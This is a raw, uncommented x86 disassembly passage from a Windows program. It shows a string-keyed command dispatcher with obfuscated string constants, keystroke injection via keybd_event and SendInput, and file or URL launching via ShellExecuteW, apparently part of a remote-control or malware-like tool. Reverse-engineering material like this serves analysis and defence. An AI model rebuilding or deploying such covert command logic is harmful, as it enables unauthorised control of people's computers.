mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x74], eax
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.004463b0
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00414810
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.00451fe0
push 0x2c
push dword [ebp - 0x74]
call fcn.00549e44
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x524baf
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5c53a0
call fcn.0042d2f0
lea ecx, [ebp - 0x2c]
call fcn.00443a10
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x524bf6
test cx, cx
je 0x524bf2
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x524bf6
add eax, 4
add edi, 4
test cx, cx
jne 0x524bd0
xor edi, edi
jmp 0x524bfb
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524c16
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x523a44
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.MnBo8M0lSOCUNCAUkgJ5EgtKUQFofWH2xFtGQZXKXQdK2CRAdyCVpcSUhVO
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042c350
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042d2f0
mov ecx, esi
call fcn.00443a10
add esp, 0x18
mov ecx, edi
call fcn.0045e3f0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x523a44
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x524cb6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264c6
push ecx
push edx
call fcn.00549e44
add esp, 8
jmp 0x523a44
sub esp, 0x18
mov ecx, esp
push 0x5c0700
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524d25
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524cf0
sub ecx, dword [ebp - 0x2c]
je 0x524d25
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524d25
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524d10
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x524d2c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524d60
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524d56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264c6
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x524df4
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524da0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.005266b0
test al, al
je 0x523a44
mov byte [esi + 0x9c], 1
jmp 0x523a44
sub esp, 0x18
mov ecx, esp
push 0x5c0718
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524e55
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524e20
sub ecx, dword [ebp - 0x2c]
je 0x524e55
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524e55
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524e40
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x524e5c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524e90
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524e86
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264c6
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x525065
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524ed0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.005266b0
test al, al
je 0x523a44
mov byte [ebp - 4], 0x4e
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x526570
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.cjE4XNgkTuWUYCjExgMHUkoa7Vx5YlTlMtARlFYyFl5PZFFILUGBRXnRksUtD0w
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042c350
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.004333a0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x298]
call fcn.004344c0
lea ecx, [ebp - 0x298]
call fcn.00433320
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042d2f0
lea ecx, [ebp - 0x2c]
call fcn.00443a10
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x24]
push eax
call fcn.00420220
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52500d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x50
call fcn.0042d440
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042d200
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.00521cd0
lea ecx, [ebp - 0xe4]
call fcn.0042d440
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x523a44
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x523a44
sub esp, 0x18
mov ecx, esp
push 0x5c0760
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5250c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525090
sub ecx, dword [ebp - 0x2c]
je 0x5250c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5250c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5250b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5250cc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x525100
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5250f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264c6
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x525244
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525140
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a270
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.005265d0
mov ecx, dword [eax]
test ecx, ecx
je 0x5251f4
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042d200
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045e3f0
jmp 0x5251f7
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x525211
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x525229
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x526431
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x523a5a
sub esp, 0x18
mov ecx, esp
push 0x5c0910
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5252a5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525270
sub ecx, dword [ebp - 0x2c]
je 0x5252a5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5252a5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x525290
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5252ac
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5252e0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5252d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264c6
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x5254b1
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525320
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 8
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x5908b4
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042db40
test al, al
jne 0x525382
push 0
push 0x5908b4
lea ecx, [ebp - 0x3c]
call fcn.0042de80
mov byte [ebp - 4], 0x5b
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push 0x5908b4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x5c
call fcn.0042db40
test al, al
jne 0x5253c6
push 0
push 0x5908b4
lea ecx, [ebp - 0x44]
call fcn.0042de80
mov byte [ebp - 4], 0x5d
call fcn.0042d8d0
mov ecx, eax
test ecx, ecx
je 0x5264d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x5908b4
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042db40
test al, al
jne 0x52540a
push 0
push 0x5908b4
lea ecx, [ebp - 0x34]
call fcn.0042de80
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a690
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x44]
push dword [ebp - 0x24]
push eax
call fcn.0044c1b0
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x525464
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52547e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x525496
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x526431
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x523a5a
sub esp, 0x18
mov ecx, esp
push 0x5c07d8
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x525515
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5254e0
sub ecx, dword [ebp - 0x2c]
je 0x525515
mov eax, dword [edx + 0x10]
test eax, eax
je 0x525515
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x525500
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52551c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042c250
cmp dword [ebp - 0x24], 0
je 0x5256a1
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042cd10
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.005265d0
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x50], edi
call fcn.0041ea00
push str.bGRFIcRdGDJAEcORmVLUTB9nkGQUAkIC4biDSsVoAxNnCS05BgMgJOTGTg
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042d690
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042d2f0
lea ecx, [ebp - 0x2c]
call fcn.00443a10
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00420220
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.0042cdf0
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x5255bd.5
movzx eax, byte [eax + 0x526590]
jmp dword [eax*4 + 0x52657c]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x68]
push str.RGk3PRT9LWVjU06Sw1l4P0tZOKjAAlUSwnoCEMsZKwdEbZ35JWTGcrXD1Eg4NiBEQCjQMVWWdQSVEkmKBpSIODkU
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042d690
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x68]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042d2f0
mov ecx, esi
call fcn.00443a10
add esp, 0x18
mov ecx, edi
call fcn.0045e3f0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x62
call fcn.0042d440
jmp 0x525660
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00406200
jmp 0x525660
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x525660
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x525660
test edi, edi
je 0x525686
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x50]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042d200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045e3f0
lea ecx, [ebp - 0x130]
call fcn.0042d440
lea ecx, [ebp - 0x38]
call fcn.0042cdf0
lea ecx, [ebp - 0x3c]
jmp 0x52642c
sub esp, 0x18
mov ecx, esp
push 0x5c08e0
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x525705
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5256d0
sub ecx, dword [ebp - 0x2c]
je 0x525705
mov eax, dword [edx + 0x10]
test eax, eax
je 0x525705
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5256f0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52570c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042c250
cmp dword [ebp - 0x24], 0
je 0x525cb8
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525750
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
sub esp, 0x10
mov ecx, esp
push 0x5c0a00
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x525794
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454020
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042c250
cmp byte [ebp - 0x2d], 0
je 0x525897
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.0054bbf0
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
lea ecx, [ebp - 0xcc]
call fcn.0042c250
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0a18
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5258bc
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454020
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042c250
cmp byte [ebp - 0x2d], 0
je 0x525912
push 0
push 0
push 0x44c0f0
call fcn.0055541a
add esp, 0xc
lea ecx, [ebp - 0xcc]
call fcn.0042c250
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0a30
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x525937
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454020
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042c250
sub esp, 0x18
cmp byte [ebp - 0x2d], 0
mov ecx, esp
je 0x525abc
push 0x5c09d0
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x525996
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042cd10
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x68
call fcn.0042c250
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x525ca0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.ZUxyyOBUhHVwQELwY
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042df90
push str.N3VBVbkUqMIwdZKKi4eoUhseOC0UH3Lhw
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042df90
push str.TkxjXdGgpYIBsq8KV5RNIjk
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042df90
lea ecx, [ebp - 0x38]
call fcn.0041ea00
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042d200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00443e40
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00420220
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.0042cdf0
push 0x5908b4
lea ecx, [ebp - 0x48]
call fcn.0042df90
push 0x5908b4
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x6e
call fcn.0042df90
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042d200
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [esi], eax
call fcn.00443e40
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x44]
add ecx, 0xfffffff0
call fcn.0042d200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00443e40
add esp, 4
mov byte [ebp - 4], 0x71
mov edx, edi
jmp 0x525c4a
push 0x5c09e8
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x525adc
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454020
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042c250
cmp byte [ebp - 0x2d], 0
je 0x525ca8
sub esp, 0x18
mov ecx, esp
push 0x5c09e8
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x525b3b
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042cd10
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x74
call fcn.0042c250
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x525ca0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.YUg4WQhE6wVyYUPK0w
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042df90
push str.Ymk4ZeQEIHVBo9NDEoLPDRs
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042df90
push str.T2EzJRmkETcCkrABA5jpIxQ
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042df90
lea ecx, [ebp - 0x38]
call fcn.0041ea00
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042d200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00443e40
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00420220
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0042cdf0
push 0x5908b4
lea ecx, [ebp - 0x48]
call fcn.0042df90
push 0x5908b4
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x7a
call fcn.0042df90
push ecx
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7b
mov ecx, esp
push eax
call fcn.0042d2c0
lea ecx, [ebp - 0x50]
call fcn.00443e40
mov esi, eax
